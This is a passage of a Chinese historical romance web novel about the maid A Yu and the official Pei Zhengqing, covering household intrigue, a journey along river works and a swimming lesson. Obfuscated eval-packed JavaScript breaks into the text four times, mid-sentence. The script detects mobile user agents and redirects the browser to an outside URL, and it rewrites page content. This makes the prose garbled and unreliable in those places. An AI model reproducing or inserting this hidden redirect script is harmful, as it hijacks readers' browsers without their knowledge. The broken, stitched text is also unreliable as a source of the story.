眼下的东厢房,阿渔和云裳的屋子都空着,唯一还住着的汀兰瑟瑟发抖,房门紧闭。在亲眼查看了瑶琴的尸体后,裴正卿进去屋子检查了一番,没有发现外人进出的痕迹,也没有发现打斗的迹象。 看来圣上派来暗中盯着的人还未来得及动手,瑶琴便已经服毒自尽。 “大人,这尸体......该如何处置?”常喜斗起胆子问道。 裴正卿思忖良久说道:“看在她在裴府为奴为婢多年的份儿上,既然她死前都没有走出院门,便仍以裴府安葬下人的方式处理她的后事。此地离京千里,不便将她的尸体送回京城,她也没什么亲人为她祭拜,备上一口棺材,选好墓地,就将她安葬在此地罢。另外,你去将她生前的遗物收拾收拾。” 常喜诺诺应下:“奴才明白,定会挑几件瑶琴生前喜爱之物放在棺椁里同她一道儿下葬。” “不。”裴正卿却道,“将她生前留下的物件仔仔细细一件不落地找出来,全部烧掉,切勿留下一分一毫,你亲去盯着,万不可出了纰漏。另外,传令下去,严禁所有知晓此事之人私下议论,若有违背一律杖死!” 这边裴正卿以雷厉风行之势,将今夜发生的种种事压了下去。另一边,外出参加宴会的刺史刘文会和夫人柳氏终于乘着软轿回到府中。 张妈妈一边给柳氏拆掉头上珠光宝气的钗环耳坠,一边注意到柳氏面色难掩疲惫。 “夫人累了一天了,可要老奴唤个丫鬟来给夫人篦发通头解解乏?” 柳氏坐在梳妆台前,揉着紧绷的太阳穴,闭目养神,没什么气力地淡淡道:“也好,这些日子的宴会一茬儿接一茬儿,今儿个诗会,明儿个雅集,再这么下去我这身子迟早要吃不消。” 张妈妈将钗环放进首饰匣里,朝候在一旁梳着平髻的侍女招招手,让她过来篦发,自己则往旁边稍一稍。 “近日这几场宴会,老奴听来听去,不过是这个员外夫人夸自己的女儿貌美如花,那个参军夫人夸自己娘家的侄女心灵手巧。说到底这些人不过是想借夫人的手,将自己家族中年轻的小姐送给东院的那位贵人,左不过是对咱们没好处的事,夫人又何必劳累自己前去频频赏脸赴宴?” 感受到头皮的经络在篦子的梳理下逐渐舒快,柳氏喟叹一声,徐徐道:“虽说是这么回事儿,若是旁的我尚可寻个借口推了不去,但若是有陈氏的宴会,我是万万不能推辞。没瞧见今儿个轮到陈氏主办宴会,连老爷也一道去了么?” “陈氏?”张妈妈不解道,“老奴随老爷和夫人来吴州将近一年了,倒是知道这陈氏是吴州颇有名望的氏族,不仅跟吴州城内说得上名号的世家都有姻亲,还同江南本地赫赫有名的四姓门阀世家有秦晋之好。只是夫人出身河东柳氏,同样是簪缨世家,何须看陈氏的脸色?” 柳氏缓缓睁开眼:“嬷嬷有两处说错了。一则,不是陈氏同那些世家门阀缔结姻亲,而是他们上赶着与陈氏通两姓之好;另一则,我和老爷夫妻一体,我们和陈氏之间算不上谁讨好谁,只是利益相关。嬷嬷可知陈氏祖上是何人?” “这......老奴不知。” “陈氏并非本朝新贵世家,往前数两朝,陈氏的祖先乃是颍川陈氏,是数百年前中原最有名的顶级门阀,后来因为战乱才举族迁到江南。陈氏的其中一任家主陈献,或许你曾有过耳闻,吴州城正是由他一力主持修建,同时他还是吴州的第一任刺史,也是吴州有记载以来任期最长的一任刺史。” 柳氏挥挥手,让身后篦发的丫鬟退下:“陈氏世代盘踞吴州,族中子弟世代在江南为官,子女同各仕族、世家、豪强都有姻亲往来,即便如今明面上不再派人出任吴州刺史。可私下却牢牢垄断吴州,甚至江南各州的文化声望,即便是朝廷想要插手这里的官员升调也并非易事,如此你可明白了?” 张妈妈恍然:“老奴明白了,夫人的意思是吴州明面上的刺史是我们老爷,暗地里真正掌握实权的刺史还是陈氏。” “理儿是这么个理儿,你心里知道便是,当着外人的面儿万不可这么说。老爷任期三年一考满,我们至少还在此地待两年,日后随我去赴宴的时候机灵着点儿,千万别说错话了。” “老奴记下了,只是......” 柳氏见张妈妈欲言又止,纳罕道:“嬷嬷有话直说便是,这里又没有旁人。” 眼下房间内只有柳氏和张妈妈两人,其他的婢女要么在烧水,要么在清洗浴桶,唯一留下篦头的婢女方才也已经退下。 “老奴想起这几次的诗会雅集,五次里三次都有陈氏的夫人,有时是主母大娘子,有时是二房三房的人。老奴在想,莫非她们也有意送出一位族中的小姐同东院的那位贵人结亲?” 张妈妈的推测不无道理,陈氏屡屡下帖子邀请柳氏赴宴,总不能是图跟她一个柳家的旁支结亲。就算是跟柳氏结亲,柳氏膝下如今只有一个四岁的哥儿和一个将将周岁的姐儿,纵是结亲未免太早了点儿。 能让陈氏这般盛情相邀,分明是醉翁之意不在酒,而在东院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481277|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位裴大人。 柳氏思忖片刻,迟疑道:“看来嬷嬷也看出来了,我原先便有此猜测,听几位陈夫人话里话外似乎也有这个意思,只是不知道她们准备为哪位陈小姐相看。大房只有一位嫡女,听说早早已经订下婚约,二房嫡女灵玉小姐倒是正当芳年......” 张妈妈担心的却是另一件事:“夫人前些日子给东院送了三个婢女,眼下一个成事儿的都没有,陈氏那边若当真送了人来,可如何是好?” 世人都知枕头风好吹,只是男人身边的枕头只有一个,惦记这个位置的人却数不胜数,届时听谁的可就说不准了。 柳氏没好气道:“陈氏是何等势力,她们若当真起了心思和裴氏联姻,我还能不准怎的?左右都不敢得罪,更何况没有定论的事,担心也是无用。” 张妈妈被主子说了一通,老脸涨红:“是老奴多嘴了。” 柳氏换上睡鞋,问道:“对了,前些日子让你送到京城主家端午节礼办得如何了?” 张妈妈扶着柳氏起身,回道:“回夫人,前些日子已经请镖局的人装箱押送过去了,算来京城那边这两日便能收到。” 一直惦记的事终于尘埃落定,柳氏舒了一口气,吩咐道:“这次端午的节礼置办得匆忙,接下来七巧、中元的节礼定要好好准备。京城主家那些哥儿姐儿们多,尤其是女儿家们,最爱香的粉的,着人多备些丝绢绸缎......至于中元节,每年都一样,无非是去京郊的寺庙上香礼佛,节礼就照着往年的办。另外,让你男人......” 话还没说完,柳氏忽然瞥见一道人影在门外急得团团转,遂朝张妈妈使了个眼神。 张妈妈心领神会,打起门帘一看,竟是薛娘子。 “深夜慌慌张张前来所为何事?” “回夫人,奴婢有要事禀报,东院......东院出大事了!” 薛娘子喘着粗气将今夜东院发生的种种:瑶琴和云裳如何做局陷害阿渔、裴大人如何及时赶了回来主持大局,以及如何以雷霆之势处置一众人等的来龙去脉讲了出来。 “......云裳被罚了二十大板,方才已经受完刑,血呼啦擦地晕了过去,裴大人下令让奴婢将云裳领走,之后是死是活任随夫人处置。” “我的老天爷啊......” 张妈妈听完惊吓地捂住胸口,不敢想区区两个贱蹄子竟敢闯出这等大祸。 柳氏气得将桌上的瓷盏瓷瓶一把扫落,恨恨地咬牙切齿:“成事不足败事有余的狗东西!好吃好喝地供着她,竟然这般不中用,还惹恼了裴大人,这种人还领回来做甚么!直接拖下去打死,也算给裴大人一个交代!” “夫人万万不可!”张妈妈立刻劝阻道,“云裳并非奴籍,当时夫人将她买来记为乐籍,江南文人风气甚厚,打死一个奴婢不打紧,打死一个乐籍的女子,恐对老爷官声有碍。” 柳氏暗啐一了声:“真是晦气!将她扔到柴房自生自灭,等过几日风头过去了,寻来人牙子将她发卖出去!” 31. 吓破胆 过了好一会儿,柳氏的火才消下去,倚在贵妃榻上蹙眉思忖半晌,顾不得去沐浴洗漱,招招手唤来张妈妈:“原先我还拿不定主意,如今看来是非做不可了。回去告诉你男人,这段时日寻些门路,悄悄去建州采买几纲北苑茶上来。” 张妈妈大惊:“北苑茶是贡茶,历来只供皇室享用,若是让人发现咱们私下采买贡茶,岂不是......” 说着她倒吸了一口冷气,做了一个抹脖子的动作,胆战心惊地劝道:“依老奴看,咱们不必非得担着风险卯着北苑茶,听闻壑源水质清冽,土地肥沃,泡出的茶芬芳甘冽,清香怡人,上等的壑源茶同北苑茶味道相差无几,且壑源茶不是贡茶,不如......” 柳氏不悦地打断:“嬷嬷懂什么!我岂是为了图一己口腹之快,我这么做还不是为了老爷和我们全家的前程!眼下云裳这个不知天高地厚的蠢货既已得罪了裴大人,她又是我们送去的,难保裴大人不会在心中暗暗记了我们一笔。他可是如今江南东道最大的官儿,若是因此给老爷使点小绊子可怎的是好?” 张妈妈欲言又止:“可不还有两个婢女......” 柳氏充耳不闻,愈琢磨愈觉得自己的计策甚好:“给裴大人送北苑茶,不只是赔罪,我还有另一层打算。嬷嬷有所不知,前些日子那洪州刺史徐彭因渎职被东院的裴大人就地革去了官职,押往京城秋后处决,如此一来,洪州刺史的官位便空缺了下来,眼下盯着那个位置的各方势力不在少数。我曾听说特殊情况下,不是没有官员兼任两州刺史的先例儿。” “老奴明白了,夫人送礼是想要老爷兼任洪州刺史一职。” “不错,裴大人江南东道水陆运使的官职虽是临时特设,可若是他愿意在圣上面上美言几句,京城那边我再托叔父走动走动关系,我们家老爷未必不能兼领洪州刺史。” 张妈妈仍有疑虑:“......那裴大人当真有这么大的能耐?” 柳氏眼神亮得发光,笃定道:“不试一试怎可得知?更何况,便是做不到,我也断不能轻易让西院的那个得逞。西院平日便蹬鼻子上脸,不把我们放在眼里,若当真任了洪州刺史,同我们平起平坐,指不定如何耀武扬威,这种事我决计不能让它发生!” 张妈妈听到最后一句话心有戚戚然,咬了咬牙说道:“老奴明白,回去便让我家男人立刻着手去办。” 一夜之间,刺史府内巨变丛生。 有人丢了性命,有人埋骨郊外,有人被打得皮开肉绽,有人抱着簪子辗转反侧,胡思乱想,寤寐思服,还有人生生吓破了胆。 两日后 阿渔方才歇了午晌起身,侍卫长高虎前来禀报,栖云堂外有一个婢女求见,说是叫汀兰。 阿渔纳罕地跟了出去,只见门外站着一个畏手畏脚,形容散乱,面色惨白如纸的年轻女子,若不仔细瞧,定是难以将眼前之人与先前那个一派天真的小丫鬟汀兰联系在一块儿。 这是怎的了? “......汀兰?”阿渔试探地唤道。 第一声儿太轻,对方愣愣地没反应过来,直到阿渔又唤了两声,汀兰方才回过神,激动地上前抓住阿渔的手,语无伦次道:“阿渔你相信我,那日陷害你的事都是瑶琴和云裳筹划的,跟我没有半点关系,我什么都不知道,我、我......对了,还是我跟你说云裳和瑶琴她们这些日子不对劲,你能发现她们的阴谋,少不了我通风报信不是?虽......虽然我也是阴差阳错,平日里也占了不少你的小便宜,但、但至少那夜她们逼你的时候,我也站出来为你说过好话的,所以看在我不曾害过你的份儿上,阿渔你救救我,我还不想死啊!” 汀兰说到最后“哇”的一声嚎啕大哭,险些哭晕在地。 阿渔费力地搀着她到一旁的石墩上坐下,安慰道:“怎的了这是?那日的事已经过去,该罚的都已经罚过了,大人既已下令封口,便是不打算继续追究,你这又是从何处听到的胡言乱语?” 汀兰抹着眼泪儿,抽抽嗒嗒道:“当、当真?” 阿渔失笑:“自是真的,我还能骗你不成?” 汀兰认认真真地打量了一下阿渔脸上的表情,觉得她不似说谎,方才放下心来,咧开嘴破涕为笑,就是笑得比哭得还难看,模样儿颇有些狼狈。 从她抽抽噎噎带着泪音儿的讲述中,阿渔终于弄明白前因后果。 原来自从那夜亲闻侍卫杖死,又在东厢房瞥见瑶琴的尸体,汀兰便吓得魂不守舍。她虽然自幼在刺史府出生长大,却一直生活在亲娘的庇护下,平日里杀鸡杀鸭倒是见过不少,可当众死人还是头一遭。 后来正院那边传来消息,云裳被打得血呼啦擦,只剩下半条命苟延残喘,刺史夫人不准旁人请大夫为她医治,声称是死是活皆是命数,便是侥幸苟活,过段日子也会发卖出去。 原本住得满满当当的东厢房,眨眼之间就只剩下汀兰一人,风吹门梢透出轻微尖锐的细声都能将她吓得半死,到了夜晚更是烛火彻夜不敢眠,以致原本便脆弱的神经愈发承受不堪。 汀兰回想先前自个儿是否有做得不妥的地方,大是大非的错儿没有,小东小西的便宜却占了不少。她愈想愈觉得害怕,生怕阿渔撺掇主子连同她一道儿收拾了,届时打板子、禁闭、发卖等等......哪儿还管得了许多,忙不迭跑来找阿渔一股脑地谢罪求饶。 “我不想待在这儿了,我想回去......”汀兰带着哭音儿哀求。 裴正卿这一招杀鸡儆猴,以儆效尤,对旁人效果如何不知,但实打实吓住了汀兰。任随他现在是天上的神仙,任随京城裴府是千般好万般好的洞天福地,她是丁点儿都不敢肖想了。 阿渔为难道:“这......说到底我也只是个婢女,如何能做得了主子的主?” 从阿渔的角度,她和汀兰同是柳氏送来的通房婢女,如何有立场决定旁人的去留?况且如今四个通房婢女,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿渔不由得瞪大了眼睛,暗自咂舌。她对这些甜的吃食无甚偏爱,往日一瓶都要吃上好几日,有时贪了些多吃几口就喉咙发腻。可观大人一口气吃掉一瓶,仍然面色如常,真真不是寻常人也。 思及先前做翠缕面时,一同端来的那碗淋了红糖的奶酪,大人也是不消几口便全部吃掉。一次是巧合,两次想来有些说头,阿渔心念一转,大胆地问道:“原来大人喜欢吃甜的?” 裴正卿侧目看了她一眼,淡淡道:“我是男人。” 阿渔满眼不解:“男人如何,女人又如何?” 裴正卿放下放下玉箸,一本正经道:“女儿家才喜欢吃甜的,男人不讲究这些。” “......” 阿渔撇了撇嘴,微微侧首轻嗤。 瞧他这陈旧的观念和说教的模样,简直比她过世的爹爹还要古板,一时不知是世家贵族和小官儿家的罪奴身份差异所致,还是年龄差异过大所致。 阿渔暗暗下定决心,迟早有一日要抓出裴大人爱吃甜的证据! 32. 同出游 松快的日子过得飞快,转眼间又到了裴正卿例行外出巡督河道的日子。这一次他倒没有如上次那样不告而别,而是提前了两日将此事告知阿渔。 闻讯,阿渔怔愣地点了点头,应该的,应该的,这是他的职责不是么。 心里虽然这般想,阿渔却仍然肉眼可见地低落了下来。 到了离开那日,阿渔早早起床,替裴正卿收拾好行囊,又将这几日缝补好的袍衫装到包裹里,一路送行至角门外。 裴正卿牵着马转过身站定:“就送到这里罢,清晨雾深露重,莫沾湿了衣裳染了风寒。这次我将常喜留下,不管是院里的一众奴仆,还是府里的其他人,想来不会再有人敢伺机兴风作浪。若是期间你觉得有何处不妥,尽管去寻他便是,常喜虽平日看着不大稳重,但好在脑子机灵,行事知分寸晓轻重,定能妥善处理。若是遇到连他都无法处理的事,自会飞鸽传书于我,你尽管放心,待我回来定会为你做主。” 阿渔迟疑道:“大人当真不带上常喜么?经过上次一遭,院里的下人们这段时日愈发恭谨,想来不会有人轻易再敢惹是生非。况且大人已经将高虎等人敲打了一番,有他们在,那些人就算有贼心也没贼胆。常喜是大人的贴身小厮,平日里伺候大人寸步不离,没有他在,想来大人有诸多不便之处,不如还是将他带上吧。” 裴正卿温和但坚定道:“不妨事,只有将常喜留在院里我才能放心离开。” 一旁默默无言的常喜插了句嘴:“阿渔姑娘尽管放心,大人的贴身小厮不止我一人,营帐那边还有一个常福,比我细心稳重多了,你啊,就不用多操心啦。” 裴正卿眯了眯眸子,淡淡地瞥了常喜一眼。 阿渔抿了抿嘴,指尖在包裹上来回摩梭半晌,终究还是依依不舍地递了过去:“那就好......换洗的衣裳和路上的吃食都在包裹里,望大人一路保重。” 裴正卿抬手揉了揉她的脑袋,眼底闪烁着复杂的神色。 “等我回来。” “......嗯。” 看着一人一骑绝尘而去,直至在蒙蒙的雾色消失不见,阿渔失落地垂首,孤零零站在原地,仿佛被遗弃一般,茕茕孑立。 “阿渔姑娘,咱们回去罢。”常喜小声地劝道。 阿渔在原地站了半晌,须臾缓缓点了点头,正待抬步朝角门走去。 突然,寂静的街道上传来轻微的马蹄声。 一开始,阿渔还以为自己耳边出现了幻觉,直到马蹄声由远而近,由时断时续变得急促有力,她不由自主地张大了瞳孔,一道难以置信的猜测爬上心头。 视线里一个若隐若现的黑点逐渐变成模糊的轮廓,而后是清晰又熟悉的人影。 “嘚嘚嘚嘚......吁——” 看着去而复返的男人,阿渔眨巴眨巴眼睛,以为自己出现了癔症,轻声迟疑唤道:“......大人?” 裴正卿勒住缰绳,因策马大口喘息不止,眼底闪烁着名为肆意疯狂的光亮:“明知这一路风餐露宿,带你不妥,但我看不得你方才落寞的神情,更看不得在我离开后你再受到委屈。” 闻琴弦而知雅意,阿渔攥紧手中的帕子,心跳砰砰如鼓:“大人的意思是......?” 裴正卿坐在马上弯腰探下身,伸出手,盯着阿渔的眼睛问道:“你可愿随我一起?” 阿渔轻咬下唇,呼吸急促抬首直视,毫不犹豫道:“我愿意。” 裴正卿温润的眉眼聚起笑意:“你可想好了?这一路并非游山玩水,途径并非全是城镇,你怕是会吃不少苦,若是后悔......” “我不怕吃苦!”便是吃苦总好过困在宅院与人勾心斗角。 “好!”裴正卿眉眼的笑意愈发明朗,腰部以下纹丝不动,上半身探身下马,一把搂住阿渔的腰。 阿渔睁大眼睛,掩住口中的惊呼,一个天旋地转间,便坐到了马鞍上,身下是踩着蹄子不安分站在原地的马儿。陡然开阔的视野和摇摇晃晃的身形霎时间让她的心跳提到了嗓子眼,以至身体僵硬,手足无措,愣愣地一动不敢动。 “抓住前面的把手,夹紧马腹,放轻松即可。”身后枕着的胸膛发出震动,男人温柔笃定的话语带着一股令人安心的奇异力量,一瞬间抚平了她心中的惶恐焦躁。 阿渔试探地照做:“然后呢?” 裴正卿在她头顶低低一笑,勒紧缰绳,轻策马腹:“坐稳了,驾!” 两人一骑登时绝尘而去,只身后的常喜在身后追了两步,喊道:“姑娘,你的行李还没带!” 疾风从耳畔倏倏刮过,压抑许久的心境骤然打开,豁然开朗,阿渔发出银铃般的爽快笑声,高声回道:“不必了——” 反正她在大人的包裹里放了不少银子,自古有钱能使鬼推磨,还愁买不到区区衣裳吃食? 常喜笑着摇了摇头,转身掩上角院的木门,回到栖云堂。 看门小厮插上门闩,探头探脑地看着常喜走远后,悄悄朝着西厢房走去。 裴正卿虽然嘴上说着辛苦,却没真让阿渔累着。 他此行的主要目的是调度粮草输运和监督堰坝的修建,虽然依水行路,却途经不少大大小小城镇,算准行程,一路打尖住店,不至沦落荒郊野外,至于衣裳,一路边走边买,也省得浣洗晾晒的烦恼。 只是凡事总有例外。 一日,因着白日耽搁了一点时间,晚上恐怕无法按照计划抵达下一个城镇,二人索性不急着赶路,慢悠悠地骑着马游山玩水。 “江南水患连年,我听阿娘说我小时候有一年,洪州连续下了近一个月的暴雨,海水倒灌淹没了农田村庄,还淹没了不少城镇。人们纷纷躲上城墙避难,可汹涌泛滥的洪涝越来越严重,人们坐在城墙上,都可以放在洪水里泡脚。困在城墙上,饿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481279|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃硬邦邦的干粮饼子,渴了只能张开嘴喝天上的雨水,可洪州近海,便是雨水都泛着咸味。曾有小孩儿偷偷尝试喝浑浊的洪水,结果当夜便发了急病死去。” 阿渔坐在马上,看着不远处堤坝上搬运石块的民夫,想起阿娘曾说说过的往事。 裴正卿拉着缰绳,控制马儿慢慢行走,双臂将阿渔环在怀中,沉吟道:“可是十二年前夏季的那场水患?我查过洪吴两州的地方志,十二年前的那场水患人财损失甚重,房屋尽数坍圮,饿殍千里,州县内人数死伤过半,是圣上登基以来最为严重的一场天灾,万幸你活了下来。” 阿渔靠着身后坚实的胸膛,动了动身体,调整了一个更为舒服的坐姿,回忆道:“听我阿娘说,是我爹爹最先发现海边不对,说服了戍守的兵士,带着他们一起逃到了附近最高的山上,方才躲过一劫。有人原是不信,以为我爹爹想要调虎离山,趁机逃跑,坚持不肯走,后来夜间雨势陡然变大,海水倒灌,那人逃跑不及,双腿登时折在这场水患中,以至丧了性命。是故我听大人讲除沙,开凿堰塘,修建堤坝,我便知大人你定然是个好官。” 头顶的男人低低笑了一声,身后的胸膛随之传来震动:“我只是做了份内的事。” 阿渔抬首扭头看了他一眼,不赞同道:“古人云,读书人当为天地立心,为生民立命,为往圣继绝学,为万世开太平,可事实上,许多官吏连做到份内的事都很难。譬如前几年太后六十寿诞,圣上大赦,下令为流放地的罪奴施粥一个月,可事实却是,只有朝廷政令下来的前几日我们能领到肉粥,后来肉粥变成菜粥,菜粥变成米粥,米粥越来越稀,一碗粥大半是汤水,从一天一顿,变成三天一顿,不到半月便彻底没有。连这点微末的好处都有人惦记,而大人治理水患,调遣灾银何止百万,面对这般利益而不动心,大人实在是位不可多得的好官!” 裴正卿低低一笑:“既然你这般赞誉,我定要做出些许成绩,方能不辜负你的期待。只是晋朝建立方才不过百年,当今圣上是第三任皇帝,江南仕族盘根交错,还有前朝势力隐藏其中,其中个由复杂,非一朝一夕可以改变。不过当今圣上年富力强,志在革除旧弊,相信那一日不会太远。” 马儿迈着清脆的步子,不快不慢地载着背上的两人往河边走去。 阿渔抓起一把马鬃,拿出在集市上买的刷子,将打结的鬃毛刷得顺滑锃亮,分成三股,双手灵巧地翻飞不一会儿便编出了好几条麻花辫。 马儿一开始还轻轻摇了摇脑袋,满是不情不愿,生怕背上那个小姑娘没轻重扯疼它,后蹄一撅想要吓唬吓唬她。未等它动作,马腹上不轻不重地被踢了一脚,马儿委委屈屈地回头,却见到男主子淡淡的眼神,只得老实下来,随她去了。 “你......”阿渔做着手中的动作,抿了抿嘴,故作漫不经心地启唇,“大人你......是不是不日便要返京了?” 33. 摸鱼儿 面对阿渔的问题,裴正卿没有立刻回答是与不是,而是反问道:“为何突然问到这个?” 阿渔用长睫掩住眼底的神情,轻轻道:“沿途这一路,我见运河通畅,堤坝俨然,水患治理已然著有成效。我虽不懂朝堂之事,但我知道兴修水利非一日之功,大人是圣上派来的钦差,必然不会在此地耽搁太久,一旦事情走上正轨,想来便是大人离开的日子,不是么?” 裴正卿默了片刻,徐徐启唇,意味深长地问道:“你可希望我离开?” 阿渔摩梭着手中编成一股一股麻花辫的马鬃,避而不答:“你总要离开的,不是吗?” 先前总是大人如何如何,难得听她直呼“你”,裴正卿低笑一声:“暂时不会,至少......要等到朝廷派遣的新任洪州刺史到任。” 新任洪州刺史? 阿渔长睫微颤,转念一想倏然黯淡下来。无需多加琢磨,即便她不知道朝廷委派的下一任洪州刺史会是何人,但绝计不会是裴正卿。 一来,裴正卿南下江南前在朝廷任工部侍郎,乃是正三品大员,而刺史虽是一州品阶最高的官员,却最高不过从三品。洪州因地处江南沿海,易发海啸天灾,不宜繁荣经济,多为流放犯人之用,故而列为中州,洪州刺史也不过只是正四品。 俗话说“京官外放升三级”,且不论裴正卿原本品阶就高于洪州刺史,单凭他此番治理水患有功,圣上念其功劳,只会愈发倚重他,不可能将他外放。 二来,洪州虽然无论税收,还是人口都不比吴州这样的上州,但洪州因其位置独特,乃是晋朝沿海边疆,是江南少有的军事型藩镇,是故历来洪州刺史多为武官,比如那位被送去京城秋后斩首的前任洪州刺史徐彭,原是军中校尉,后官至游骑将军,再之后才擢为洪州刺史。 裴正卿虽出身武将世家,本人却是文官,多半与洪州刺史一职无缘。 京城与江南相距三千里,前任洪州刺史罢黜的消息快马加鞭传送回京,快则两三日,慢则六七日。朝廷若是派遣官员从京赴任,顺利的话,十至十五日便能抵达,便是如此裴大人拢共在江南待不了多少日子。 思及此,阿渔好不容易飘飘然松快的心情再次跌入谷底。 傍晚,两人一骑行至一处修建堤坝的营帐附近。 营帐里不是执戟的戍兵,便是服役的民夫,都是些粗鲁的男子,阿渔这样娇滴滴的女儿家万不可住在其中,故而裴正卿派人送来一顶营帐,还有一应生火煮食的用具后,带着阿渔走到一处海滩附近。 阿渔看见海,便如鱼儿看见水,脱掉鞋袜便要涉水。 裴正卿眼疾手快地一把拉住她的胳膊:“等等,你可会泅水?” 阿渔奇怪地看了他一眼:“自然,罪奴入海采珠,岂会不通晓泅水之术,莫说我,江南沿海或依运河而生的人,从稚子起,会走路就会泅水,有何稀奇?” 说罢,她挣开裴正卿的手,一副“你真是大惊小怪没见过世面”嗤之以鼻模样儿。 是他关心则乱,竟忘了这回事。裴正卿讪讪地松开手,摸了摸鼻子,眼角瞥见阿渔白嫩嫩的莲足,轻咳一声道:“去玩罢。” 阿渔擅泅水,还真不是说说的。 为了证明自己所言不虚,亦或者为了在裴正卿这个少见多怪的世家公子面前炫耀一番, 甫一入水,阿渔便使出了诸多花样,或浮、或没、或潜。一会儿俯卧在水面上,将手臂高高地扬起,配合着头和双腿拨水前移,姿势颇为流畅,像海豚,更像蝴蝶;一会儿将双手前掠后划,双腿在水中交替蹬踏,宛如书里的鱼儿一般浑然天成,灵动自然...... 吴儿不怕蛟龙怒,风波平步。看红旆惊飞,跳鱼直上,蹙踏浪花舞。 既能知书达理,引经据典谈诗论赋,又能灵动翩跹在水中弄潮浮潜,是他小觑她了,裴正卿在心中暗自赞叹,眼里不由得溢满欣赏和柔情。 此时,阿渔仰躺悠悠然游到岸边,挑衅地朝裴正卿飞去一眼:“如何?” 裴正卿抵唇一笑,真心实意道:“委实心服口服。早些年便听闻吴儿善泅,涨潮之日常有奇观,言有无赖不惜性命之徒,披发文身,或手持彩旗,或小清凉伞,红绿小伞儿,各系绣色缎子满竿,争先鼓勇,溯迎而上,执旗泅水,而旗不沾湿。我虽不曾亲眼所见,如今看来,传言想来不虚。” “不止哩!”阿渔坐了起来,大半身子掩在水面以下,抓起一把沙子在手中把玩,眉飞色舞道,“大人远居中原,不知这江南并非只有弄潮一项水上戏耍,就拿最近的来说,过几日端午各地还有龙舟竞渡、水战、水傀儡、水百戏......甚至还有专门的水戏技人,如哑八、谢棒杀、画牛儿、僧儿。有一年洪州向朝廷进献了一颗重达七两的南珠,先帝大悦,下令嘉赏,时任刺史特地请来一班水戏技人表演水秋千,只见那技人人高胆大,竟然在水面上将秋千荡高至三十多尺,而后跃入空中接连几个翻腾旋转,垂直入水,连水花都没扑腾出几朵,委实一绝!” 裴正卿赞叹道:“世上之大,当真无奇不有。”说着他温润的眸中闪过一缕光亮,不动声色道,“我有一个想法,可否请阿渔姑娘帮个忙?” 阿渔半开玩笑地问道:“莫非大人听了我方才所言,心向往之,也想亲眼瞧瞧那水秋千?有言在先,我虽擅泅水,于水戏一技却一窍不通,若是大人想让我亲去表演,那可当真是为难我了。” 裴正卿笑着摇了摇头:“非也,非也,不过确与阿渔姑娘有关。” “哦?” “说来委实有些难以启齿,世人皆知圣上遣我担任江南东道水陆运使,南下治理水患,却不知我实则并不会水,是个地地道道的旱鸭子。这事我瞒得紧,只有身边的常喜常福知道,毕竟朝堂纷争波诡云谲,我不想因为这点微不足道的缺点丢了好不容易得来的差事,所以......” 阿渔闻言目瞪口呆,联系前后两句话电光石火间想通了其中的关窍,难以置信指着自己道:“莫非大人想向我学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481280|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泅水?” 只见裴正卿温润白皙的脸霎时一红,别过脸难为情地轻轻点了点头。 阿渔抠着脚边的贝壳,觉得有些难办。 先前她同裴正卿说,江南儿女自会走路起,便会泅水,不乏有些夸张,故意说给他听听而已。丁点儿大的萝卜头,再心大的爹娘都不会当真让她去泅水,至多在水边玩玩沙子罢了。 阿渔六七岁时,爹爹第一次带她去采珠,说是女承父业,实则只是将她放在近海的渔船上,让一个稍大的族兄同她玩耍,而爹爹和其他的叔伯则下海采珠。 不知怎的,阿渔趁着族兄没留意,悄悄拿了一块浮木跳下海里,想去找爹爹。 爹爹没找到,水倒是呛了好几口,一道小浪打来,险些将她淹死。万幸她人小机灵,忙不迭手脚并用扑腾扑腾朝渔船游去,又死死地抱着浮木不撒手,方才捡回一条小命。 这件事,阿渔不曾同旁人提起过半句,至于何时无师自通学习泅水的,想来便是那个时候,故而大人让她教如何游水,她真真是不会。 裴正卿打量着阿渔的神色,抿了抿嘴叹了口气,强颜欢笑地开口道:“阿渔姑娘若是觉得为难,就算了,左不过不是什么大事,只希望不要被旁人发现,否则我便是欺君之罪,届时连累全族,死无葬身之地唉......” 说罢,他便失魂落魄地转身,准备离去。 阿渔不忍道:“罢了罢了,我......试试?” 